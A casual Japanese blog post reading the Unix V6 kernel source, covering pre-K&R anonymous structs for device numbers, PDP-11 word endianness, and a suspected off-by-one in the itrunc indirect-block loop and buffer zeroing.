実は、ここで使われているC言語はpre K&Rといわれるもので、現在ではありえないような構文がいくつか存在します。これもその一つで、裏には、無名構造体という概念があります。例えば、d_major、d_minorの定義は

struct
{
    char    d_minor;
    char    d_major;
};

のようになっています。このように無名な構造体を定義すると、任意の変数に対してこのような参照が可能になります。  デバイス番号というのは、MSB8bitにmajor番号、その下8bitにminor番号が入ったものになっています(int型自体は16bit)。したがって、見方によってはint型というのはchar型が二つ並んだという構造をしているものであると考えることができ、よって上のような書き方をすることができます。すなわち、MSB1byte分に対するアクセスであると言えます。

ところで面白いのは、デニスリッチーですら混乱したのか一部では

(*bdevsw[swapdev>>8].d_strategy)(&swbuf);

(dmr/bio.c のswap関数)

のように、デバイスのMSB1byteをある種より直接的に取り出しているコードがあったりして面白いです。

エンディアンの話

上に関連して、上のコードが動くならリトルエンディアンなんやろなーって思ったら、少し興味深い感じでした。というのは、確かに16bitの値に対してはリトルエンディアンになっているのですが、32bitの値を表現する、すなわち2ワードに関しては、ワードについてはビッグエンディアンになっているらしいということです。日本語で説明するのは難しいので図があります。 enter image description here

itruncで間接参照テーブルについてのoff by one errorっぽいやつ

 if(*ip) {
        if((rp->i_mode&ILARG) != 0) {
            bp = bread(rp->i_dev, *ip);
            for(cp = bp->b_addr+512; cp >= bp->b_addr; cp--)
            if(*cp) {
                if(ip == &rp->i_addr[7]) {
                    dp = bread(rp->i_dev, *cp);
                    for(ep = dp->b_addr+512; ep >= dp->b_addr; ep--)
                    if(*ep)
                        free(rp->i_dev, *ep);
                    brelse(dp);
                }
                free(rp->i_dev, *cp);
            }
            brelse(bp);
        }
        free(rp->i_dev, *ip);
        *ip = 0;
    }

(ken/iget.c itrunc関数)

ここですが、

for(cp = bp->b_addr+512; cp >= bp->b_addr; cp--)

はおそらく、512ではなく、510ですよね。

これに関してはLions本にも言及があり、"Since they will presumably contain zero, they will contribute nothing to the calculation."などと書いてある。確かに、*(b_addr+512)が0であれば、そのあとの条件分岐の中に入らないので良いっぽいのだが、いつゼロクリアしたかというと、これは難しくて、例えばバッファの初期化部分のコードを見ると

clrbuf(bp)
int *bp;
{
    register *p;
    register c;

    p = bp->b_addr;
    c = 256;
    do
        *p++ = 0;
    while (--c);
}

(dmr/bio.c)

となっていて256回ループするが、ところで、bufferの定義は、

char buffers[NBUF][514];

であることから、最後の2byteについてはおそらく0クリアされない。すると、どこで、0クリアされているのかを考えると、おそらく起動時の物理メモリの0クリアまで遡るのではないか。この部分については完全に推測でしかないが、しかし、off by oneっぽいのが残っているのは少し面白いです。

ねむい。だいぶ雑になってしまったので渋い(また全部読んだ時に改めてまとめたい)